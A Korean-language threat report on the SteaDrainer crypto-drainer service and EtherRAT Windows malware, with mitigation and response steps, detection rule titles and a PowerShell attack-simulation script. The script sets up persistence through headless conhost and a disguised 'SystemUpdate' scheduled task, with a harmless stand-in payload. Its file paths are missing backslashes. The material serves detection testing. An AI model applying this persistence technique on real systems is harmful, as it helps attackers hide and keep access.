하이브리드 위협 생태계로 융합되는 위협: 새롭게 부상하는 하이브리드 공격 생태계에 대한 통찰
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 보고서는 기존의 사이버 범죄 인프라가 점점 더 암호화폐 드래이너 운영과 수렴하여 웹2 및 웹3 자산을 위험에 빠뜨리는 하이브리드 공격 생태계를 형성하는 방법을 설명합니다. 위협 행위자는 피해자가 지갑을 연결하고, 토큰 거래를 승인하며, 여러 블록체인에 걸쳐 자금을 무의식적으로 전송하도록 설득하기 위해 AI 도구 또는 금융 서비스로 테마화된 세련된 피싱 페이지를 사용합니다. 두 가지 주요 예인 스탭드레이너와 이더랫은 이 모델이 브라우저 기반 지갑 드래이닝과 블록체인 인지 기능을 가진 윈도우 악성코드를 모두 포괄하는 방법을 보여줍니다. 결과적으로 위협은 이제 암호화폐를 사용하는 사용자에게서 비롯하여 주류 기업 환경 깊숙이 확장됩니다.
조사
연구원들은 SteaDrainer 악성코드 서비스 작동을 조사하였으며, PHP 및 자바스크립트 배포 인프라와 Web3Modal을 사용하여 지갑 연결 팝업 창을 나타내는 것을 포함하여 조사하였습니다. 그들은 또한 트로이 목마로 위장된 TFTP 인스톨러를 통해 배포되고 Run 레지스트리 키를 통해 지속성을 유지하며 Ethereum 및 Solana RPC 엔드포인트와 통신하는 이더렛 윈도우 악성코드를 분석하였습니다. 조사 중 팀은 두 경로와 연결된 악의적인 도메인, 레지스트리 키 및 명령줄 아티팩트 등의 지표를 추출하였습니다.
완화
조직은 알려진 악성 도메인에 대한 접근을 차단하고, 가능한 한 지갑 확장 프로그램에 대해 다중 인증을 요구하며, 의심스러운 Run 레지스트리 항목 및 예상치 못한 Node.js 프로세스에 대한 시스템 모니터링을 합니다. 보안 팀은 또한 공공 블록체인 RPC 서비스로의 트래픽을 이상 행동에 대해 검사하고, 브라우저 확장 프로그램을 조작 또는 남용의 징후가 없는지 정기적으로 검토해야 합니다.
대응
이 활동이 탐지되면, 영향을 받은 호스트를 즉시 격리하고, 악성 Run 레지스트리 항목을 제거하고, 허가되지 않은 Node.js 프로세스를 종료하며, 영향을 받은 지갑에서 부여한 모든 토큰 승인을 폐기해야 합니다. 조사자는 추가 페이로드 또는 지속성 메커니즘을 확인하기 위해 법의학 분석을 수행하고, 식별된 지휘 통제 인프라와의 추가 통신을 방지하기 위해 허용 목록 또는 차단 목록을 업데이트해야 합니다.
<strong>공격 시나리오</strong>
탐지
가능한 지속성 지점 [ASEP – Software/NTUSER 하이브] (레지스트리 이벤트를 통해)
보기
비정상적인 위치에서 실행되는 NodeJS 바이너리 (명령줄을 통해)
보기
가능한 안티바이러스 또는 방화벽 소프트웨어 열거 (프로세스 생성 통해)
보기
LOLBAS Conhost (명령줄을 통해)
보기
의심스러운 CURL 사용 (명령줄을 통해)
보기
가능한 회피 검사 (파워셸을 통해)
보기
Possible Publicnode 이더리움 남용 시도 C2 채널로 사용 (DNS 쿼리를 통해)
보기
타사 서비스/도구를 통한 데이터 인필트레이션/엑스필트레이션/C2 가능 (프록시를 통해)
보기
타사 서비스/도구를 통한 데이터 인필트레이션/엑스필트레이션/C2 가능 (DNS를 통해)
보기
헤드리스 모드에서 conhost.exe를 사용하는 이더랫 지속성 메커니즘 탐지 [Windows 프로세스 생성]
보기
시스템 정찰을 위한 이더랫 PowerShell 명령 실행 [Windows PowerShell]
보기
시뮬레이션 실행
전제 조건: Telemetry & Baseline 사전 비행 검사가 통과해야 합니다.
-
공격 내러티브 및 명령어
공격자는 이미 악성 자바스크립트 파일(
payload.js)을 대상에 배치했습니다. 지속성을 얻기 위해, 그들은 설치한node.exe바이너리를 사용하여conhost.exe를 헤드리스 모드에서 시작하고, 그런 다음 자바스크립트 페이로드를 로드합니다. 이 기술은 가시적인 콘솔 창을 피하고 일반적인node사용에 삼투합니다.- 악성 페이로드 드롭 (
payload.js)을 임시 위치에 보냅니다. - 실행
node.exe는 명령어를 사용하여conhost.exe --headless를 페이로드에 포인팅합니다. - 예약 작업 생성 시스템 시작 시 명령어를 실행하여 지속성을 제공합니다.
- 악성 페이로드 드롭 (
-
회귀 테스트 스크립트
# EtherRAT 지속성 시뮬레이션 – PowerShell # ------------------------------------------------- # 1. 악성 자바스크립트 페이로드 준비 $payloadPath = "$env:TEMPpayload.js" @" // 최소 악성 JS – 실제로 이더렛 임플랜트를 로드합니다 const { exec } = require('child_process'); exec('calc.exe'); // 예제 부작용 "@ | Set-Content -Encoding UTF8 $payloadPath # 2. node.exe 위치 찾기 (PATH에 있다고 가정) $node = (Get-Command node.exe).Source if (-not $node) { Write-Error "node.exe not found in PATH." exit 1 } # 3. conhost 명령어 라인 구축 $conhostCmd = "C:WindowsSystem32conhost.exe --headless `"$payloadPath`"" # 4. node.exe를 통해 실행 (이렇게 해서 부모-자식 관계 생성) $script = "require('child_process').exec(`"$conhostCmd`")" & $node -e $script # 5. 선택 사항: 지속성을 위한 예약 작업 생성 $taskName = "SystemUpdate" $action = New-ScheduledTaskAction -Execute $node -Argument "-e `"$script`"" $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -RunLevel Highest -Force -
정리 명령어
# 예약 작업 제거 Unregister-ScheduledTask -TaskName "SystemUpdate" -Confirm:$false # 페이로드 삭제 Remove-Item -Path "$env:TEMPpayload.js" -Force # 테스트에서 비롯된 conhost 프로세스를 중지 Get-Process conhost -ErrorAction SilentlyContinue | Where-Object { $_.Path -eq 'C:WindowsSystem32conhost.exe' -and $_.CommandLine -match '--headless' } | Stop-Process -Force